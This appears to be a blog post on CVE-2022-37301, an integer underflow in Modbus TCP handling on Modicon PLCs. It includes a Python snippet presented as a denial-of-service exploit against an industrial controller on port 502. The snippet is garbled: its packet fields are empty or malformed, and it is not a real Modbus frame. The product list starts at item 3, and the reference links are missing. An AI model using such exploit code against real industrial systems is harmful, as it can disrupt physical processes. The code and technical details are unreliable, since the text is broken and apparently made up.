CVE-2022-37301: Discovering Integer Underflow Vulnerability in Modbus TCP Protocol Devices

Overview

This is an in-depth analysis of the CVE-2022-37301 vulnerability, which is classified as a CWE-191: Integer Underflow (Wrap or Wraparound). This vulnerability affects several devices when using the Modbus TCP protocol, potentially causing denial-of-service (DoS) due to memory access violations. In this post, we will discuss the details of the vulnerability and the affected products. Additionally, we will provide a code snippet to demonstrate the exploit and links to the original references.

Exploit Details

CVE-2022-37301 is an Integer Underflow issue that occurs when an insufficient decrement (or wraparound) of an integer input/security parameter results in a value outside the valid range. The underflow then leads to unexpected behavior, possibly allowing an attacker to cause a denial-of-service (DoS) or potentially execute arbitrary code on the controller.

Modicon M580 CPU (part numbers BMEP* and BMEH*)(V3.22 and prior)

3. Legacy Modicon Quantum/Premium (All Versions)

Here's a Python code snippet to demonstrate this vulnerability

import socket
import struct

def exploit(target_ip, target_port):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((target_ip, target_port))

    # Crafting malicious packet
    header = struct.pack('<HH', , )
    address = struct.pack('<H', xAAAA)
    length = struct.pack('<H', xFFFF)  # Triggering Underflow
    payload = header + address + length

    sock.send(payload)
    response = sock.recv(1024)
    print(f'Response: {response}')

target_ip = '192.168.1.10'
target_port = 502
exploit(target_ip, target_port)

Here are some links to the official references

- NIST National Vulnerability Database
- CVE Details - CVE-2022-37301
- Schneider Electric Security Notification

Mitigation and Recommendations

To mitigate this vulnerability, users of the affected products should apply the latest available patches and firmware updates provided by the manufacturer. Additionally, network segmentation and proper access control measures should be implemented to restrict malicious access.

To further protect systems against similar vulnerabilities, developers should consider employing secure coding practices to prevent integer underflow and other memory-related issues. Organizations should perform regular security assessments and vulnerability scans to identify and remediate potential weaknesses in their systems.

Conclusion

CVE-2022-37301 is a critical vulnerability that affects multiple devices utilizing the Modbus TCP protocol. By exploiting this vulnerability, attackers could potentially cause significant disruptions in industrial control systems. It is highly recommended for users of the affected products to apply the necessary patches and follow best practices for securing their systems.

Timeline

Published on: 11/22/2022 12:15:00 UTC
Last modified on: 11/30/2022 20:23:00 UTC